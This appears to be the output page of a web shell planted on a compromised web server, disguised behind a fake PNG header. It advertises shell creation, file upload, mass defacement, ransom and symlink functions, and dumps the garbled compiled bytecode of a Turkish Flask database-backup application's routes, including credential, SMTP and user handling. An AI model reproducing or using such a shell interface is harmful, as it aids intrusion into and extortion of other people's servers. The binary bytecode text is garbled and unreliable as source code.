\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv8/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv8/__pycache__/routes.cpython-310.pyc


o

��g�@�@sPddlZddlZddlZddlmZmZmZmZmZm	Z	m
Z
ddlmZddl
mZddlmZmZddlmZmZmZmZddlmZmZmZmZddlmZmZmZmZm Z m!Z!dd	l"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)dd
l*m+Z+m,Z,ddl-m.Z.m/Z/ddl0m1Z1m2Z2dd
l3m4Z4ddl5m6Z7m8Z9ddl5m:Z;m<Z<m=Z=zddl>m6Z?m8Z@ddl>m:ZAmBZBmCZCdZDWneEy�dZDYnwe�Fd�edd���ZGe�Fd�edd���ZHejFddgd�edd���ZIejFddgd�edd ���ZJe�Fd!�ed"d#���ZKe�Fd$�ed%d&���ZLejFd'dgd�ed(d)���ZMejFd*dgd�ed+d,���ZNe�Fd-�ed.d/���ZOe�Fd0�ed1d2���ZPejFd3dgd�ed4d5���ZQejFd6d7dgd�ed8d9���ZRejFd:dgd�ed;d<���ZSejFd=dgd�ed>d?���ZTejFd@dgd�edAdB���ZUe�FdC�edDdE���ZVejFdFdgd�edGdH���ZWe�FdI�edJdK���ZXejFdLdgd�edMdN���ZYejFdOdgd�edPdQ���ZZejFdRdgd�edSdT���Z[ejFdUdgd�edVdW���Z\e�FdX�dYdZ��Z]e�Fd[�d\d]��Z^e�Fd^�d_d`��Z_ejFdad7dgd�dbdc��Z`e�Fdd�dedf��Zae�Fdg�edhdi���ZbejFdjdgd�edkdl���ZcejFdmdgd�edndo���ZdejFdpdgd�edqdr���Zedsdt�Zfe�Fdu�edvdw���Zge�Fdx�edydz���Zhe�Fd{�ed|d}���Zie�Fd~�edd����Zje�Fd��ed�d����ZkejFd�dgd�ed�d����ZlejFd�dgd�ed�d����ZmejFd�dgd�ed�d����ZndS)��N)�render_template�request�redirect�url_for�flash�jsonify�session)�SQLAlchemyError)�text)�_�
get_locale)�
login_user�logout_user�current_user�login_required)�app�db�logger�mail)�DatabaseConnection�
StorageTarget�	BackupJob�	BackupLog�SmtpSettings�User)�DatabaseConnectionForm�StorageTargetForm�
BackupJobForm�SmtpSettingsForm�	LoginForm�RegistrationForm�EncryptionKeyForm)�test_database_connection�
run_backup)�test_storage_connection�get_storage_space)�schedule_backup_job�remove_scheduled_job)�restore_from_backup)�get_top_queries�get_database_stats)�get_table_stats�enable_pg_stat_statements�pg_stat_statements_enabled)r+�enable_performance_schema�performance_schema_enabledTF�/c
Cs:tj�tj����d���}tj��}tj��}t	j��}tjj
dd���}tjj
dd���}g}|D]W}z&t|�\}}	|	dkrF||	dnd}
|
dk}|�
|j|j||	|
|d��Wq3ty�}z#t�d�|jt|���|�
|j|jdddd	t|�d
��WYd}~q3d}~wwtd|t|�t|�t|�|||d
�S)z1Render the dashboard page with backup statistics.�
�success)�status�failedr�d)�id�name�
free_space�total_space�percent_free�warning�&Error getting storage space for {}: {}T)r6r7r8r9r:r;�errorNzdashboard.html)�recent_logs�db_count�
storage_count�	job_count�
success_count�failed_count�storage_info)r�query�order_by�	timestamp�desc�limit�allrrr�	filter_by�countr%�appendr6r7�	Exceptionrr=�format�strr�len)
r>�db_connections�storage_targets�backup_jobsrBrCrD�targetr8r9r:r;�e�rW�8/var/www/html/yedekledb24/DatabaseBackupMaster/routes.py�indexsT


�����rYz
/databasescCstj��}t�}td||d�S)z%Render the database connections page.zdatabases.html�rR�form)rrErJrrrZrWrWrX�	databasesTs
r\z/databases/add�POST)�methodsc
Cs�t��sttd�d�ttd��St�}|��r�zXt|j	j
|jj
|jj
|j
j
|jj
|jj
d�}|rht|jj
|j	j
|jj
|jj
|j
j
|jj
|jj
|j	j
dkrQ|jj
ndd�}tj�|�tj��ttd�d	�nttd
�d�WnZty�}ztj��tdt|���d�WYd}~n>d}~wty�}ztdt|���d�WYd}~n#d}~ww|j��D]\}}|D]}tt||�jj�d
|��d�q�q�ttd��S)zAdd a new database connection.u-Veritabanı bağlantısı ekleme izniniz yok.�dangerr\��db_type�host�port�username�password�database�
postgresqlN)r7rarbrcrdrerf�
pg_versionu.Veritabanı bağlantısı başarıyla eklendi!r2uCVeritabanına bağlanılamadı. Lütfen bilgilerinizi kontrol edin.�Database error: �Error: �: ) r�can_manage_db_connectionsrrrrr�validate_on_submitr"ra�datarbrcrdrerfrr7rhrr�add�commitr	�rollbackrPrN�errors�items�getattr�labelr
)r[�connection_success�new_dbrV�fieldrrr=rWrWrX�add_database\sV�	�
�
 � �� �ryz/databases/delete/<int:db_id>c
C�t��sttd�d�ttd��Sz3tj�|�}t	jj
|d���}|r1ttd�d�ttd��WStj
�|�tj
��ttd�d�Wn<tye}ztj
��tdt|���d�WYd	}~n d	}~wty�}ztd
t|���d�WYd	}~nd	}~wwttd��S)zDelete a database connection.u,Veritabanı bağlantısı silme izniniz yok.r_r\)�database_idu:Yedekleme görevlerinde kullanılan veritabanı silinemez.u.Veritabanı bağlantısı başarıyla silindi!r2�Veritabanı hatası: N�Hata: )rrlrrrrrrE�
get_or_404rrKrJrr�deleterpr	rqrPrN)�db_id�db_conn�jobsrVrWrWrX�delete_database��*

 � ��r�z/databases/test/<int:db_id>c
C�z)tj�|�}t|j|j|j|j|j|j	d�}|r!t
td�d�nt
td�d�WntyE}zt
dt
|���d�WYd}~nd}~wwttd��S)	zTest a database connection.r`u&Veritabanı bağlantısı başarılı!r2uVeritabanına bağlanılamadı.r_u&Veritabanı bağlantı testi hatası: Nr\)rrEr~r"rarbrcrdrerfrrrNrPrr)r�r�rvrVrWrWrX�
test_database��&�	� ��r�z/storagecCs�tj��}t�}|D]R}z!t|�\}}||_||_|dkr#||dnd|_|jdk|_Wq
t	y\}z#t
�d�|j
t|���d|_d|_d|_d|_t|�|_WYd}~q
d}~wwtd||d�S)	z Render the storage targets page.rr5r1r<TNzstorage.html)rSr[)rrErJrr%r8r9r:r;rNrr=rOr7rPr)rSr[rUr8r9rVrWrWrX�storage�s&
��r�z/storage/addc
Cs�t��sttd�d�ttd��St�}|��r�zMt|j	j
|jj
|jj
|j
j
|jj
|jj
d�}|r]t|jj
|j	j
|jj
|jj
|j
j
|jj
|jj
d�}tj�|�tj��ttd�d�nttd�d�WnZty�}ztj��td	t|���d�WYd
}~n>d
}~wty�}ztdt|���d�WYd
}~n#d
}~ww|j��D]\}}|D]}tt||�jj�d|��d�q�q�ttd��S)
zAdd a new storage target.z#Depolama hedefi ekleme izniniz yok.r_r���storage_typerbrcrdre�path)r7r�rbrcrdrer�u$Depolama hedefi başarıyla eklendi!r2uNDepolama hedefine bağlanılamadı. Lütfen kimlik bilgilerinizi kontrol edin.riNrjrk)r�can_manage_storagerrrrrrmr$r�rnrbrcrdrer�rr7rrrorpr	rqrPrNrrrsrtrur
)r[rv�new_storagerVrxrrr=rWrWrX�add_storage�sT�	�

�
 � �� �r�z /storage/delete/<int:storage_id>c
Crz)zDelete a storage target.z"Depolama hedefi silme izniniz yok.r_r�)�
storage_idu>Yedekleme görevlerinde kullanılan depolama hedefi silinemez.u$Depolama hedefi başarıyla silindi!r2r|Nr})rr�rrrrrrEr~rrKrJrrrrpr	rqrPrN)r��storage_targetr�rVrWrWrX�delete_storager�r�z/storage/test/<int:storage_id>c
Cr�)	zTest a storage connection.r�u)Depolama hedefine bağlantı başarılı!r2u#Depolama hedefine bağlanılamadı.r_u*Depolama hedefi bağlantı testi hatası: Nr�)rrEr~r$r�rbrcrdrer�rrrNrPrr)r�r�rvrVrWrWrX�test_storage0r�r�z/backup_jobscCs�tj��}tj��}tj��}t�}ddlm}|�}dd�|D�|j_	i}|D]}|j
||j<q(dd�|D�|j_	zddl
m}|j��}	dgdd�|	D�|j_	Wn	d	g|j_	Ytj�d
d�}
|
rj|
|j_|D]V}tjj|jd��tj�����|_d
|_z"tj}d|j��}
|��D]}|j|
kr�t |d�r�|j!|_nq�Wqlt"t#fy�}zt$�%d�&t'|���WYd
}~qld
}~wwt(d|||||d�S)zRender the backup jobs page.r��	FlaskFormcS�g|]}|j|jf�qSrW�r6r7��.0rrWrWrX�
<listcomp>Z�zbackup_jobs.<locals>.<listcomp>cSr�rWr��r��srWrWrXr�ar���
EncryptionKey�ruAnahtar Seçiniz...cS�&g|]}|j|j�d|j�d�f�qS�z <�>�r6r7�email�r��krWrWrXr�g�&�ru#Şifreleme Anahtarları Bulunamadı�BACKUP_ENCRYPTION_PSK�)�job_idN�backup_job_�
next_run_timeu-Zamanlayıcıya erişilirken hata oluştu: {}zbackup_jobs.html)rTrRrSr[�	csrf_form))rrErJrrr�	flask_wtfr�r{�choicesrar6r��modelsr��encryption_key_id�os�environ�get�encryption_passphrasernrrKrFrGrH�first�last_log�next_runr�	scheduler�get_jobs�hasattrr��AttributeErrorrNrr=rOrPr)rTrRrSr[r�r��
db_optionsrr��encryption_keys�default_passphrase�jobr�r��
scheduler_jobrVrWrWrXrTLsT



"� ���rTz/backup_jobs/addc

Cs�t��sttd�d�ttd��Stj��}t	j��}t
�}dd�|D�|j_dd�|D�|j
_zddlm}|j��}d	gd
d�|D�|j_Wn	dg|j_Y|���r(z�t|jj|jj|j
j|jj|jj|jj|jjd�}z<t|d
�r�|jj|_|jjr�|jjnd|_|jjr�|jjdkr�|jjdkr�|jj|_n|jjdkr�|jjr�|jj|_WnYzt|d�r�|jj|_|jjr�|jjnd|_WnYtj �!|�tj �"�|jr�t#|�ttd�d�Wn^t$�y}ztj �%�tdt&|���d�WYd}~nAd}~wt'�y'}ztdt&|���d�WYd}~n%d}~ww|j(�)�D]\}}|D]}	tt*||�j+j,�d|	��d��q3�q-ttd��S)zAdd a new backup job.u%Yedekleme görevi ekleme izniniz yok.r_rTcSr�rWr�r�rWrWrXr��r�z"add_backup_job.<locals>.<listcomp>cSr�rWr�r�rWrWrXr��r�rr�r�cSr�r�r�r�rWrWrXr��r�r�)r7r{r��
schedule_type�schedule_value�retention_days�enabled�encrypt_backupN�
asymmetric�	symmetric�compress_backup�zipu&Yedekleme görevi başarıyla eklendi!r2r|r}rk)-r�can_manage_backup_jobsrrrrrrErJrrr{r�r�r�r�r�rmrr7rnr�r�r�r�r�r��encryption_typer�r��compression_typerrrorpr&r	rqrPrNrrrsrtrur
)
rRrSr[r�r��new_jobrVrxrrr=rWrWrX�add_backup_job�s|



�


�

�

 � ��"�r�z/backup_jobs/edit/<int:job_id>�GETc

Cst��sttd�d�ttd��Stj�|�}t	j�
�}tj�
�}t|d�}dd�|D�|j
_dd�|D�|j_zdd	lm}|j�
�}d
gdd�|D�|j_Wn	dg|j_Ytjd
k�r�|���r�z�|jj|_|j
j|_
|jj|_|jj|_|jj|_|jj|_|j}|jj|_z<t|d�r�|jj|_|jjr�|jjnd|_|jjr�|jjdkr�|jjdkr�|jj|_n|jjdkr�|jjr�|jj|_WnYzt|d�r�|j j|_ |j jr�|j!jnd|_!WnYz't|d��r|j"j|_"t|d��r|j#j�r|j#j|_#n	t|d��rd|_#Wnt$�y.}zt%�&dt'|����WYd}~nd}~wwt(j)�*�||jk�rI|j�rCt+|�nt,|j-�n
|j�rVt,|j-�t+|�ttd�d�ttd��WSt.�y�}zt(j)�/�tdt'|���d�WYd}~n�d}~wt$�y�}ztdt'|���d�WYd}~n�d}~wwtjdk�r]|j|j_|j
|j
_|j|j_|j|j_|j|j_|j|j_|j|j_z6t|d��r|j|j_|j�p�d|j_|j�r�|j|j_|j�r�|j|j_nt0j1�2dd�}	|	�r|	|j_WnYzt|d��r|j |j _|j!�pd|j!_WnYzt|d��r>|j"�p,d|j"_t|d��r>|j#�r>|j#|j#_Wn=t$�y\}zt%�&dt'|����WYd}~n%d}~ww|j3�4�D]\}
}|D]}tt5||
�j6j7�d |��d��qh�qbt8d!||||d"�S)#zEdit an existing backup job.u)Yedekleme görevi düzenleme izniniz yok.r_rT)�objcSr�rWr�r�rWrWrXr��r�z#edit_backup_job.<locals>.<listcomp>cSr�rWr�r�rWrWrXr��r�rr�r�cSr�r�r�r�rWrWrXr�r�r�r]r�Nr�r�r�r��
backup_method�xtrabackup_optionszBackup method update error: u+Yedekleme görevi başarıyla güncellendi!r2r|r}r�r�r��fullz Backup method field load error: rkzedit_backup_job.html)r[r�rRrS)9rr�rrrrrrEr~rrJrrr{r�r�r�r�r�r�methodrmr7rnr�r�r�r�r�r�r�r�r�r�r�r�rNrr=rPrrrpr&r'r6r	rqr�r�r�rrrsrtrur
r)
r�r�rRrSr[r�r��was_enabledrVr�rxrrr=rWrWrX�edit_backup_job�s�













�

�
���



 � ��








�
�
���"��r�z /backup_jobs/delete/<int:job_id>c
CsXt��sttd�d�ttd��SzXzd}tj�t	|�d|i�tj�
�Wn!tyG}ztj��t
�d�t|���WYd}~nd}~wwtj�|�}|jrVt|j�tj�|�tj�
�ttd�d	�Wn<ty�}ztj��td
t|���d�WYd}~n d}~wty�}ztdt|���d�WYd}~nd}~wwttd��S)zDelete a backup job.u$Yedekleme görevi silme izniniz yok.r_rTz-DELETE FROM backup_log WHERE job_id = :job_idr�u#Log kayıtları silinirken hata: {}Nu&Yedekleme görevi başarıyla silindi!r2r|r})rr�rrrrrr�executer
rprNrqrr=rOrPrrEr~r�r'r6rr	)r��sqlrVr�rWrWrX�delete_backup_job�s8
 ��


 � ��r�z /backup_jobs/toggle/<int:job_id>c
Cst��sttd�d�ttd��Sz-tj�|�}|j	|_	|j	r,t
|�ttd�d�nt|j�ttd�d�t
j��Wn<ty_}zt
j��tdt|���d�WYd}~n d}~wtyz}ztd	t|���d�WYd}~nd}~wwttd��S)
z'Toggle enabled status for a backup job.u4Yedekleme görevi durumunu değiştirme izniniz yok.r_rTu/Yedekleme görevi başarıyla etkinleştirildi!r2u9Yedekleme görevi başarıyla devre dışı bırakıldı!r|Nr})rr�rrrrrrEr~r�r&r'r6rrrpr	rqrPrN)r�r�rVrWrWrX�toggle_backup_job�s*


 � ��r�z/backup_jobs/run/<int:job_id>c
Cs�ztj�|�}t|dd�}|rttd�d�nttd�d�Wnty;}ztdt|���d�WYd}~nd}~wwtt	d	��S)
zRun a backup job manually.T)�
send_emailuSYedekleme görevi başarıyla çalıştırıldı! E-posta bildirimleri gönderildi.r2uYYedekleme görevi çalıştırma başarısız oldu. Detaylar için logları kontrol edin.r_r}NrT)
rrEr~r#rrrNrPrr)r�r�r2rVrWrWrX�run_backup_job�s� ��r�z/logscCsRtjjddtd�}d}tj�tj���j	||d�}ddl
m}|�}td||d	�S)
zRender the backup logs page.�page���type�)r��per_pagerr�z	logs.html)�backup_logsr[)
r�argsr��intrrErFrGrH�paginater�r�r)r�r�r�r�r[rWrWrX�logs�sr�z/restore/<int:log_id>c
Cs�t��sttd�d�ttd��Sz�tj�|�}|j	dkr+ttd�d�ttd��WS|j
r5tj�
|j
�sCttd�d�ttd��WStj�dd�}d	d
lm}|�}t||�}|dsp|�d�rptd||jj|jjj|d
�WS|dr�t|jddtj�|j
���|j
|jd	d�}tj�|�tj��ttd�d�nttd�|dd�Wn&ty�}zt �!d�"t#|���td�"t#|��d�WYd}~nd}~wwttd��S)z!Restore a database from a backup.u&Veritabanı geri yükleme izniniz yok.r_r�r2u/Sadece başarılı yedekler geri yüklenebilir.uYedek dosyası bulunamadı.�
passphraseNrr��needs_passphrasezrestore_password.html)�log_id�job_name�
database_namer[uGeri yükleme başarılı: )r�r3�message�backup_file�backup_size�durationu'Veritabanı başarıyla geri yüklendi!u#Veritabanı geri yükleme hatası: r�zRestore error: {}uGeri yükleme hatası: {})$rr�rrrrrrEr~r3r�r�r��existsrr[r�r�r�r(rr�r7rfr��basenamer�rrrorprNrr=rOrP)r��
backup_logr�r�r[�result�new_logrVrWrWrX�restore_backup�sT

��
� ��r�z	/settingscCs�t��}t�}t�}g}z
ddlm}|j��}WnYtj��}|rI|j	r*dnd}|j
|j
_|j|j_|j
|j
_|j|j_||j_|j|j_td||||d�S)zRender the settings page.rr��ssl�tlsz
settings.html)�
mail_settings�	smtp_form�encryption_formr�)r�get_settingsrr!r�r�rErJr��mail_use_ssl�mail_serverrn�
mail_username�
mail_password�mail_default_sender�mail_connection_type�notification_emailsr)�
smtp_settingsr�r�r�r��settings_record�connection_typerWrWrX�settings<s0





�r	z/settings/smtpc	
CsXtjsttd�d�ttd��St�}|���rz�|jj	dk}|jj	dk}|r)dnd}t
j��}|rU|j
j	|_
||_||_||_|jj	|_|jj	|_|jj	|_|jj	|_nt
|j
j	||||jj	|jj	|jj	|jj	d�}tj�|�tj��|j
tjd	<|jtjd
<|jtjd<|jtjd<|jtjd
<|jtjd<|jtjd<|j
tjd	<t|j�tjd
<t|j�tjd<t|j�tjd<|jtjd
<|jtjd<|jtjd<|jtjd<t�t�ttd�d�WnBt �y}ztj�!�tdt|���d�WYd}~n%d}~ww|j"�#�D]\}}|D]}tt$||�j%j&�d|��d��q�qttd��S)zSave SMTP email settings.u.E-posta ayarlarını değiştirme izniniz yok.r_r	r�r�iKi�)r�	mail_port�mail_use_tlsr�rrrr�MAIL_SERVER�	MAIL_PORT�MAIL_USE_TLS�MAIL_USE_SSL�
MAIL_USERNAME�
MAIL_PASSWORD�MAIL_DEFAULT_SENDER�BACKUP_NOTIFICATION_EMAILSu)E-posta ayarları başarıyla kaydedildi!r2u'E-posta ayarlarını kaydederken hata: Nrk)'r�is_adminrrrrrrmrrnrrEr�rr
rr�rrrrrrrorpr�configr�r�rPr�init_apprNrqrrrsrtrur
)	r[�is_tls�is_sslrcr	rVrxrrr=rWrWrX�save_smtp_settingsfst





�



 ��"�rz/settings/encryption_key/addc	Cs�tjsttd�d�ttd��St�}|��r�zjddlm	}||j
j|jj|j
jr-|j
jnd|jj|jjd�}|ryddlm}||j
j|jj|jj|jj|�d	d
�|�dd
�|jjr`|�dd
�ndtjd
�}tj�|�tj��ttd�d�nttd�d�Wn?ty�}ztj��tdt|���d�WYd}~n#d}~ww|j��D]\}}|D]}tt||�jj �d|��d�q�q�ttd��S)z Create a new GPG encryption key.u%GPG anahtarı oluşturma izniniz yok.r_r	r)�generate_gpg_keyN)r7r�r��key_type�
key_lengthr��fingerprintr��
public_key�private_key)r7r�rrrrr�
created_byu2GPG şifreleme anahtarı başarıyla oluşturuldu!r2uGPG anahtarı oluşturulamadı.u"GPG anahtarı oluşturma hatası: rk)!rrrrrrr!rm�encryption_utilsrr7rnr�r�rrr�r�r��store_private_keyr6rrrorprNrqrPrrrsrtrur
)	r[r�
key_resultr��new_keyrVrxrrr=rWrWrX�add_encryption_key�sR�

�
�
 �� �r%z,/settings/encryption_key/delete/<int:key_id>c
Cstjsttd�d�ttd��Sz9ddlm}|j�	|�}t
jj|d���}|r6ttd�d�ttd��WSt
j�|�t
j��ttd�d	�Wn<tyj}zt
j��td
t|���d�WYd}~n d}~wty�}ztdt|���d�WYd}~nd}~wwttd��S)
zDelete a GPG encryption key.u GPG anahtarı silme izniniz yok.r_r	rr�)r�u<Yedekleme görevlerinde kullanılan GPG anahtarı silinemez.u"GPG anahtarı başarıyla silindi!r2r|Nr})rrrrrrr�r�rEr~rrKrJrrrrpr	rqrPrN)�key_idr��encryption_keyr�rVrWrWrX�delete_encryption_key�s,

 � ��r(z/settings/test_emailc
Cs�tjsttd�d�ttd��Sz>tj�dd�}|s(ttd�d�ttd��WSdd�|�	d	�D�}d
dl
m}||�}|rFttd�d
�nttd�d�Wntyj}ztdt
|���d�WYd}~nd}~wwttd��S)z+Send a test email to verify email settings.u&Test e-postası gönderme izniniz yok.r_r	�email_addressesr�uHLütfen test e-postası göndermek için en az bir e-posta adresi girin.cSsg|]}|���qSrW)�strip)r�r�rWrWrXr�#�ztest_email.<locals>.<listcomp>�,r)�send_test_emailuMTest e-postası başarıyla gönderildi! Lütfen gelen kutunuzu kontrol edin.r2uMTest e-postası gönderilemedi. Lütfen e-posta ayarlarınızı kontrol edin.u#Test e-postası gönderme hatası: N)rrrrrrrr[r��split�email_utilsr-rNrP)�recipients_str�
recipientsr-r2rVrWrWrX�
test_emails(� ��r2z/api/dashboard_statsc	Cs�ddlm}ddl}|j��|jdd�}tj�|�t	j
��d�t	j|�
��d���t	j
|k��|�t	j
�t	j���}tttdd	�|D����}dgt|�}dgt|�}|D]}|�|j�d
��}|jdkrn|j
||<qX|j
||<qXt|||d��S)
z&API endpoint for dashboard statistics.r)�funcN�)�days�daterLcSsg|]}|j�d��qS)�%Y-%m-%d)r6�strftime)r��statrWrWrXr�Jr�z#dashboard_stats.<locals>.<listcomp>r7r2)�labelsr2r4)�
sqlalchemyr3�datetime�now�	timedeltarrrEr6rrGrur3rL�filter�group_byrJ�sorted�list�setrQrYr8r)	r3r<�seven_days_ago�daily_stats�dates�success_data�failed_datar9�
date_indexrWrWrX�dashboard_stats3s<��
��
�rJz/set_language/<lang>cCs0|dvr|td<ttd�d�ttjptd��S)z"Set the user's preferred language.)�en�tr�langzLanguage changed successfully!r2rY)rrrrr�referrerr)rMrWrWrX�set_language\srOz/set_theme/<theme>cCsdtd<ttjptd��S)zSet the user's preferred theme.�light�themerY)rrrrNr)rQrWrWrX�	set_themedsrRz/logincCs�tjr	ttd��St�}|��r[tjj|j	j
d���}|dus&|�|j
j
�s3ttd�d�ttd��St||jj
d�tj��|_tj��tj�d�}|rS|�d	�sWtd�}t|�Std
td�|d�S)
zLogin page.rY)rdNu&Geçersiz kullanıcı adı veya şifrer_�login)�remember�nextr0z
login.htmlu
Giriş Yap)�titler[)r�is_authenticatedrrrrmrrErKrdrnr��check_passwordrerrr
�remember_mer<�utcnow�
last_loginrrrprr�r��
startswithr)r[�user�	next_pagerWrWrXrSls 
rSz/logoutcCst�ttd��S)zLogout the current user.rS)rrrrWrWrWrX�logout�sr_z/userscCs@tjsttd�d�ttd��Stj��}t	�}t
d||td�S)z Render the user management page.uBu sayfaya erişim izniniz yok.r_rYz
users.html)�usersr[r)rrrrrrrrErJr r)r`r[rWrWrXr`�s
�r`z
/users/addc
Cs@tjsttd�d�ttd��St�}|��r|z(t|j	j
|jj
|jj
d�}|�|j
j
�tj�|�tj��ttd�d�WnZty`}ztj��tdt|���d�WYd}~n>d}~wty{}ztd	t|���d�WYd}~n#d}~ww|j��D]\}}|D]}tt||�jj�d
|��d�q�q�ttd��S)zAdd a new user.uKullanıcı ekleme izniniz yok.r_rY�rdr�ru Kullanıcı başarıyla eklendi!r2r|Nr}rkr`)rrrrrrr rmrrdrnr��set_passwordrerrrorpr	rqrPrNrrrsrtrur
)r[�new_userrVrxrrr=rWrWrX�add_user�s8�

 � �� �rdz/users/delete/<int:user_id>c
Cs(tjsttd�d�ttd��SzAtj�|�}|j	dkr*ttd�d�ttd��WS|j
tj
kr>ttd�d�ttd��WStj�
|�tj��ttd�d	�Wn<tyr}ztj��td
t|���d�WYd}~n d}~wty�}ztdt|���d�WYd}~nd}~wwttd��S)
zDelete a user.uKullanıcı silme izniniz yok.r_rY�adminu#Ana admin kullanıcısı silinemez.r`zKendinizi silemezsiniz.u Kullanıcı başarıyla silindi!r2r|Nr})rrrrrrrrEr~rdr6rrrrpr	rqrPrN��user_idr]rVrWrWrX�delete_user�s.


 � ��rhz!/users/toggle_admin/<int:user_id>c
Cstjsttd�d�ttd��Sz;tj�|�}|j	dkr*ttd�d�ttd��WS|j|_t
j��|jrAt|j	�d�d�n	t|j	�d	�d�Wn<t
yl}zt
j��td
t|���d�WYd}~n d}~wty�}ztdt|���d�WYd}~nd}~wwttd��S)
zToggle admin status for a user.uYetki değiştirme izniniz yok.r_rYreu6Ana admin kullanıcısının yetkisi değiştirilemez.r`u( kullanıcısına admin yetkisi verildi.r2u0 kullanıcısının admin yetkisi kaldırıldı.r|Nr})rrrrrrrrEr~rdrrrpr	rqrPrNrfrWrWrX�toggle_user_admin�s.


�
 � ��ric
Cs�tj��dkr	dSz t||dd�}|�|�tj�|�tj��dd|�d�fWStyI}ztj�	�ddt
|���fWYd	}~Sd	}~ww)
ut
    Komut satırı aracından çağrılmak üzere tasarlanmıştır.
    İlk admin kullanıcıyı oluşturur.
    r)Fu(Sistemde zaten kullanıcılar bulunuyor!TrauAdmin kullanıcı u başarıyla oluşturuldu!Fr}N)rrErLrbrrrorprNrqrP)rdr�rer]rVrWrWrX�create_admin_users


��rjz/performancecCs�g}tjjdd���}|D]
}d|_d|_|�|�q
tr=tj�tj	dktj	dkB���}|D]
}d|_d|_|�|�q/ddl
m}|�}td||td	�S)
z&Render the performance dashboard page.rg)raT�mysql�mariadbrr�zperformance/dashboard.html)rRr��mysql_supported)
rrErKrJ�performance_supported�performance_typerM�MYSQL_PERFORMANCE_AVAILABLEr?rar�r�r)rR�pg_dbsr�	mysql_dbsr�r�rWrWrX�performance_dashboards2����rsz /performance/queries/<int:db_id>c$Cs�tj�dd�dkrttd|d��S�z�tj�|�}tjjddtd�}tj�dd	�}tj�d
d�}|j	|j
|j|j|j
d�}|jd
krtddlm}|||||�}|�dd�ssd|�dd�vrsddlm}|�}	td||�dd�|	d�WSnG|jdvr�tr�ddlm}
|
||||�}|�dd�s�d|�dd�vr�ddlm}|�}	td||�dd�|	d�WSnttd�d�ttd��WS|�dd�s�t|�dd�d�ttd��WSd}d}|jd
kr�|�dd �}n|jdvr�|�d!d �}|�d"i�}
|
dur�i}
tj�d#|�����tj�d$|���tj�d%|
���z|�d&g�D]}tj�d'|���Wnt�yE}ztj�d(|���WYd}~nd}~ww|�d&��sQtd)d��z�g}ggggd*�}|�d&g�D�]R}|��}|D]:}||du�r�|d+v�rd,||<�qk|d-k�r�d.||<�qk|d/v�r�d||<�qk|d0k�r�d1||<�qkd||<�qkd-|v�r�d2}z9t|d-t ��r�d3|d-v�r�t!|d-�"d3d��#��}n
t!|d-�}nt!|d-�}|d4�$|�d5�%|�|d-<Wnt&t'f�y�|d4�$d2�d.|d-<Ynwd	|v�rKd2}z2t|d	t ��r)d6|d	v�r"t!|d	�"d6d��#��}n
t!|d	�}nt!|d	�}|d7�$|�Wnt&t'f�yJ|d7�$d2�Ynw|d7�$d2�d8|v�rzzt|d8�}|d8�$|�Wnt&t'f�yy|d8�$d�Ynw|d8�$d�d0|v�r�|d0�r�|d0}t(|�dk�r�|dd�d9n|}|d:�$|�n|d:�$d;�|�$|��qbzVddl)}d<d=�t*t(|d:��D�|d4|d7|d8|d:d>�}z|�+|�}Wnt�y�}ztj�d?|���d@}WYd}~nd}~wwtdA|||
||||||dB�
WWWSt�y8}ztj�dC|���tdA|||
|||||d@dB�
WYd}~WWSd}~wwt�y�}zdtj�dD|���tdEd�|j,�"dFdG��"dHdI�}t |
�dJd ���"dFdG��"dHdI�} t |
�dKd ���"dFdG��"dHdI�}!t |
�d	d ���"dFdG��"dHdI�}"dLj%|| |!|"td�td|j-d�dM�}#|#WYd}~WSd}~wwt�y�}z!tj�dNt |����tdOt |���d�ttd��WYd}~Sd}~ww)Pu0Veritabanı sorgu performans verilerini göster.�view�chart�performance_charts�r�rIr�r�rF�
total_time�intervalN�rbrcrdrerfrgr�r)r2Fu(pg_stat_statements modülü etkin değilr�r�r�zperformance/missing_pgss.html)r�r�r��rkrluPerformance Schema etkin değilu>Sorgu performansı bu veritabanı türü için desteklenmiyor.r;rs�Bilinmeyen bir hata oluştur_rhzN/A�version�summaryuSorgu sonucu anahtarları: zPostgreSQL versiyonu: uÖzet veri: rnuSorgu veri örneği: uSorgu verisi işlenirken hata: ukSorgu performans verileri alındı ancak sonuç bulunamadı. SQL sorguları henüz kaydedilmemiş olabilir.)r:�cpu_percentages�time_values�calls)rx�avg_timez0.00 ms�percentage_cpuz0.00%)r��rowsrEz
Unknown queryg�%r�z{:.2f}%�msr�r�z...r:�UnknowncSsg|]}t|��qSrW)rP)r��irWrWrXr�r+z'performance_queries.<locals>.<listcomp>)r:r�r�r��original_labelsuJSON serileştirme hatası: z{}zperformance/queries.html)	r��queriesrrh�
mysql_versionrFrIry�
chart_datauJSON serileştirmede hata: u(Şablon oluşturulurken format hatası: unPerformans verileri işlenirken bir format hatası oluştu. Veriler basitleştirilmiş formatta gösterilecek.�{z{{�}z}}�total_calls�query_countu�
            <div class="container my-4">
                <h1>Sorgu Performansı: {escaped_name}</h1>
                <div class="alert alert-warning">
                    <strong>Uyarı:</strong> Performans verileri işlenirken bir format hatası oluştu.
                    Veriler basitleştirilmiş formatta görüntüleniyor.
                </div>
                <div class="card mb-4">
                    <div class="card-header">Özet Bilgiler</div>
                    <div class="card-body">
                        <p>Toplam Çağrı: {safe_total_calls}</p>
                        <p>Sorgu Sayısı: {safe_query_count}</p>
                        <p>Toplam Çalışma Süresi: {safe_total_time}</p>
                    </div>
                </div>
                <a href="{grafik_link}" class="btn btn-success">Grafik Görünümüne Geç</a>
                <a href="{back_link}" class="btn btn-secondary">Geri Dön</a>
            </div>
            )�escaped_name�safe_total_calls�safe_query_count�safe_total_time�	back_link�grafik_linku-Performans verileri alınırken kritik hata: u&Performans verileri alınırken hata: ).rr�r�rrrrEr~r�rbrcrdrerfra�database_performance_fixedr)r�r�rrp�mysql_performancerrrr�info�keysrNr=�copy�
isinstancerP�float�replacer*rMrO�
